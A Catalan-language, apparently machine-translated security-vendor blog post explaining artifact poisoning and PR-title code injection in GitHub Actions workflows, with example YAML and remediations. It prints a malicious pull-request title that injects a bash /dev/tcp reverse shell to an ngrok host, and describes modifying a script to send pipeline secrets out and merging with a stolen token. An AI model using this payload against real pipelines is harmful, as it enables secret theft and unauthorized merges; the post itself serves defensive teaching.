CICD-Pipelines

Una immersió profunda CI/CD PipelineVulnerabilitats (III): Enverinament d'artefactes i injecció de codi

En publicacions anteriors (vegeu Enverinat indirectament Pipeline Execució I-PPE i Intoxicats Pipeline EPI d'execució , vam tractar bàsicament amb EPI (Equip de protecció individual) Pipeline Execució): vam veure com funciona, els seus efectes, algunes explotacions i algunes maneres de protegir-se'n. 

Aquesta publicació aprofundeix en alguns altres CI/CD pipeline vulnerabilitats com ara l'enverinament per artefactes i la injecció de codi. 

Per fer-ho, ens basarem d'alguna manera en els EPI, així que fem un resum ràpid del que hem vist sobre els EPI.

Treballs anteriors sobre EPI

En resum, vam començar amb un GitHub bàsic pipeline per construir i provar codi contribuït a través d'un pull requestA més, defineix algunes comprovacions que, si es compleixen, fusionaran el codi amb la branca principal. L'hem anomenat així Escenari #1.

CI/CD-Pipelines

A la nostra publicació anterior, vam demostrar com aquesta bàsica pipeline va ser vulnerable tant al D-PPE com al I-PPE.

Vam aconseguir arreglar D-PPE by modificació de l'esdeveniment desencadenant de pull_request a sol·licitud_d'extracció_objectiu, fent el pipeline segur per a D-PPECom a recordatori, pipelines activat en un esdeveniment pull_request_target executarà la base pipeline codi, no el pipeline codi contingut en el pull request. 

Vam anomenar això com Escenari #2.

CI/CD-Pipelines-Escenari de vulnerabilitats 2

Com a resultat d'aquesta modificació, vam demostrar que L'escenari núm. 2 encara era vulnerable a l'I-PPE

Per solucionar-ho, vam decidir dividir el pipeline en dos:

  • El 1st pipeline (Crea CI) faria consulta el codi PR (per construir-lo), fes la construcció i genera un artefacte.
  • El 2n pipeline (Prova de CI) faria Revisar el codi base (per evitar la modificació de scripts de shell) i executar els scripts originals contra l'artefacte. 
  • Per sincronitzar el CI de prova pipeline per executar DESPRÉS del CI de compilació pipeline, utilitzarem el execució_flux_de_treball disparador. 

Vam anomenar això com Escenari #3.

CI/CD-Pipelines-Escenari de vulnerabilitats 3

Recuperem el codi d'ambdós pipelinesegons aquestes modificacions…

1st pipeline (Construcció de CI):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2nd pipeline (Prova de CI):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

Intoxicació per artefactes

Segons l'anterior CI/CD pipelines:

  • pipeline Crea CI is segur a tots dos D-PPE (degut a sol·licitud_d'extracció_objectiu) I I-PPE (perquè ja no executa l'script de shell).
  • pipeline Prova de CI és també segur a tots dos D-PPE (degut a execució_flux_de_treball) I I-PPE (perquè revisa el codi base per obtenir l'script de shell original) 

Aprofundim en aquesta "solució".

Pipeline Prova de CI descarrega l'artefacte com a fitxer zip.

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

Un cop descomprimit, executa l'script de shell "segur". Per què dic l'script de shell "segur"? Perquè en un pas anterior, el pipeline revisa el codi "base", de manera que l'script original es col·loca a la carpeta de l'espai de treball. Per tant, quan el pipeline executa l'script de shell que executarà utilitzant el binari descarregat prèviament.

Aleshores, què és el problema amb aquest plantejament? El problema ve quan qualsevol usuari "crea" una nova pipeline

Si un usuari obre una PR que conté una nova pipeline, GitHub ho executarà pipeline  (donades algunes condicions, com hem vist a l'apartat anterior) enviar).

Tenint en compte això, què passa si l'usuari crea un nou pipeline amb el mateix nom que Build CI? Sí, és sorprenent, però GitHub et permet crear-ne dos pipelines amb el mateix nom!!

Recordeu que Test CI s'executarà després de Build CI…

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

Sorprenentment, perquè ara n'hi ha dos pipelines amb el mateix nom, el pipeline La prova CI s'executarà dues vegades: un després de l'original pipeline i altres després del "nou" pipeline.

Com pot el hacker aprofitar-se d'això? 

  • Primer, l'usuari maliciós pot modificar l'script de shell per enviar el secret al servidor controlat pels pirates informàtics.
  • En segon lloc, el nou pipeline inclou una línia per copiar l'script de shell modificat a l'artefacte → enverinant l'artefact!!!

Quan l'usuari obre una PR amb aquests canvis, el "nou" pipeline s'executarà (carregant un artefacte enverinat) i el CI de desplegament pipeline s'executarà després d'això, donant lloc a l'script de shell "modificat" sobreescriu l'script de shell "original" que es troba a pipeline espai de treball.

CI/CD-Pipelines-Vulnerabilitats

Això és el que anomenem Intoxicació per artefactes, és a dir, el capacitat de modificar (piratejar) el pipeline lògica mitjançant la modificació d'una pipeline artefacte

Un possible remediació és bastant senzill: Només descomprimir l'artefacte a una subcarpeta de l'espai de treball evitaria sobreescriure l'script de shell "base".

Injecció de codi

A més de la intoxicació per artefactes, podeu veure alguna altra vulnerabilitat en el codi anterior?

Som-hi!!

Com podeu veure al codi, pipeline Build CI compila el binari, el puja com a pipeline artefacte i, a més, carrega un parell de dades addicionals: el títol de la PR i l'identificador de la PR.

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Per què? Perquè per fusionar el PR, com podeu veure a continuació, el CI de prova pipeline necessita l'identificador de PR per invocar l'API REST de GitHub que fusiona el PR. 

Com funciona el Test CI? pipeline obtenir aquest PR ID? Compartir informació en fitxers de text (part d'un pipeline artefacte) és una manera habitual de compartir informació entre pipelines. I això és exactament el que aquests pipelines estan fent.

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

En rigor, només es necessita l'identificador de la PR per fusionar la PR, però el pipeline l'administrador va decidir que el CI de compilació també inclogués el títol de PR, de manera que el CI de prova pipeline imprimiria un missatge d'informació que contingués tant l'identificador de la PR com el títol.

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

El títol PR sempre són dades que provenen de l'usuari i, com a tal, sempre s'han de considerar com a no fiables.. Doncs el pipeline s'ha de manipular com a tal i prendre mesures de protecció.

En el codi anterior, podem veure el missatge específic que fa ressò del títol de PR. És només una ordre "echo" de Linux.

Mitjançant la interpolació de cadenes, si el títol és "un títol fictici", Github genera internament un script que conté

				
					echo ""a dummy title""
				
			

Però, què passaria si el títol de relacions públiques fos alguna cosa així com:

Títol maliciós” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

El guió esdevindria:

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

Resultant en l'obertura d'una shell inversa contra el servidor controlat pels pirates informàtics.

CI/CD-Pipelines

Aquesta shell inversa es podria utilitzar per accedir al pipeline secrets (recordeu que Test CI s'executa en mode de privilegis perquè s'activa mitjançant workflow_run, de manera que té accés als secrets).

Però, què més es pot fer a través d'aquesta closca inversa? 

Mireu el codi de prova CI:

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

Com podeu veure al CI de prova pipeline, l'ordre curl merge fa ús de GITHUB_PAT (definit com a pipeline var d'entorn), de manera que l'executor conté GITHUB_PAT com a variable d'entorn. A més, també crea una var d'entorn que llegeix l'ID PR. 

Així doncs, el pirata informàtic només ha de copiar l'ordre curl i enganxar-la a la shell inversa, fusionant la PR directament a la branca protegida.

injecció de codi

Per protegir-se de tot això:

  • A evitar interpolació de cadenes amb dades no fiables (vulnerable a injecció de codi) per definició pipeline variables d'entorn en lloc d'utilitzar-lo directament en ordres d'eco

En lloc d'utilitzar:

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

Fes servir això:

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • Fins i tot amb l'exploit d'injecció de codi, l'ordre curl merge no hauria tingut èxit si ho haguéssiu fet correctament. protegit el teu pull requests mitjançant alguna revisió o aprovació obligatòria

Conclusions

D'alguna manera és difícil de protegir CI/CD pipelineconfiguració s i obtenir pipelineestà lliure de vulnerabilitats.

Això no vol dir això CI/CD els sistemes (com GitHub en aquest cas) són vulnerables per se. CI/CD Els sistemes proporcionen els mitjans per protegir-se contra les vulnerabilitats... però és responsabilitat de l'administrador implementar aquestes proteccions.

Però ... No pots resoldre una vulnerabilitat si no ets conscient de la seva existència!!!

Per descomptat, un administrador de Devops altament qualificat pot tenir totes aquestes amenaces en ment i protegir adequadament el CI/CD pipelines, però, tot i així, és molt valuós utilitzar un producte per detectar tots aquests tipus de vulnerabilitats. I, per descomptat, automatitzar aquest procés de detenció de vulnerabilitats (per exemple, executar l'escaneig com a part de CI/CD pipelines).

Aquest plantejament es podria anomenar "Porta de seguretat”: 

  • Crea una nova pipeline (Porta de seguretat) per comprovar si hi ha CI/CD pipelines vulnerabilitats i fer que l'altre CI pipelines'executarà només després de completar amb èxit la Porta de Seguretat pipeline.
  • La Porta de Seguretat pipelines comprovarà si CI/CD pipelinevulnerabilitats i, 
    • Si es troben vulnerabilitats, fallarà i, per tant, l'altre pipelines no s'executarà. 
    • Si no es troben vulnerabilitats, la pipeline tindrà èxit i l'altre pipelines'executarà com de costum.
CI/CD-Seguretat

Intoxicats Pipeline Execució (EPI)

Una immersió profunda CI/CD PipelineVulnerabilitats (I)

Enverinat indirectament Pipeline Execució (I-PPE)

Una immersió profunda CI/CD PipelineVulnerabilitats (II)

Protecció contra la intoxicació per artefactes mitjançant atestacions de programari

Una immersió profunda CI/CD PipelineVulnerabilitats (IV)
sca-tools-software-composition-analyse-tools
Prioritzar, solucionar i protegir els riscos del programari
Obtén el teu compte gratuït.
No es requereix cap targeta de crèdit.

Assegura el desenvolupament i el lliurament del teu programari

amb el paquet de productes Xygeni